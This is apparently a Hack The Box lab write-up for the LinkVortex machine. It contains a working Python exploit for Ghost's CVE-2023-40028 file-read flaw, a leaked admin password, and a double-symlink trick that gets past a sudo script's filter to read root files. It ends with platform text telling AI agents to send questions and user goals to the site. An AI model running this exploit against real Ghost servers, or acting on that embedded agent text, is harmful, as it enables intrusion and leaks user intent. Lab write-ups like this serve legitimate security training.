> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-linkvortex.md).
# HTB - LinkVortex
## Enumeration and Foothold
### NMAP
```bash
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
### HTTP
add the domain to hosts file and refresh the browser
searching for a reveals the admin user and all the posts on webpage are posted by admin.
add the newly discovered subdomain to the hosts file
directory enumeration using feroxbuster, gobuster and ffuf results nothing but nmap results some useful data.
the website is running Ghost 5.58
the dev subdomain has a hidden git directory. i will dump the git locally and enumerate it further
the password works against admin
`admin : OctopiFociPilfer45`
Ghost 5.58 is vulnerable to arbitrary file read
### CVE-2023-40028
That said i am gonna use the script generated by 0xdf for this purpose.
```bash
import io
import random
import requests
import string
import sys
import zipfile
# process inputs
if len(sys.argv) != 5:
print(f"usage: {sys.argv[0]} ")
sys.exit()
hostname = sys.argv[1] if sys.argv[1].startswith('http') else f'http://{sys.argv[1]}'
username = sys.argv[2]
password = sys.argv[3]
target_file = sys.argv[4]
# create zip (in memory)
filename = ''.join(random.choices(string.ascii_letters, k=8)) + '.png'
file_path = f'content/images/{filename}'
zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, "w") as zip_file:
zipInfo = zipfile.ZipInfo(file_path)
zipInfo.create_system = 3 # UNIX
zipInfo.external_attr |= 0xA0000000 # 0o120777 << 16
zip_file.writestr(zipInfo, target_file)
zip_buffer.seek(0)
# login
sess = requests.session()
sess.post(
f'{hostname}/ghost/api/admin/session',
data={
"username": username,
"password": password
}
)
# post to api
sess.post(
f'{hostname}/ghost/api/admin/db/',
files={'importfile': ('archive.zip', zip_buffer, 'application/zip')}
)
# read and display results
resp = requests.get(f'{hostname}/{file_path}')
if resp.status_code == 200:
print(resp.text)
elif resp.status_code == 404:
print(f'file not found: {target_file}')
elif resp.status_code == 500:
print(f'unable to access: {target_file}')
```
Found this in the git dump earlier.
found the password for bob
## Shell as Bob
bob can run a custom script has root without password.
```
LINK_TARGET=$(/usr/bin/readlink $LINK)
if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)'; then
```
The script uses `readlink` (not `readlink -f`) to resolve the symlink target, which only follows **one hop**. It then filters that single-hop result through a case-sensitive regex (`grep -Eq '(etc|root)'`) looking for the literal lowercase substrings `etc` or `root`. If you chain two symlinks together, the intermediate hop can be crafted to avoid those substrings while the final destination still points at a sensitive file.
## Reading Root Flag
Step by step exploitation
**Step 1 — Create an intermediate symlink pointing to the real target:**
```bash
ln -s /root/root.txt /home/bob/a
```
This symlink (`/home/bob/a`) points directly at `/root/root.txt`. On its own this wouldn't pass the filter if referenced directly, because `readlink` on it would show `/root/root.txt` — which *does* contain "root".
**Step 2 — Create the actual `.png` symlink pointing to the intermediate link, not the real file:**
```bash
ln -s /home/bob/a /home/bob/exp.png
```
Now `exp.png` → `/home/bob/a` → `/root/root.txt`. This is the key trick: the script's sudo rule requires the argument to end in `.png`, and it only inspects **the immediate target of that one `.png` file**.
**Step 3 — Confirm what the script's filter will actually see:**
```bash
ls -l /home/bob/exp.png
```
Output: `/home/bob/exp.png → /home/bob/a`
`readlink /home/bob/exp.png` returns `/home/bob/a` — a path with **no lowercase "etc" or "root" substring** anywhere in it. The regex filter passes clean.
**Step 4 — Trigger the script as root via the sudo rule:**
```bash
CHECK_CONTENT=true sudo bash /opt/ghost/clean_symlink.sh /home/bob/exp.png
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-linkvortex.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
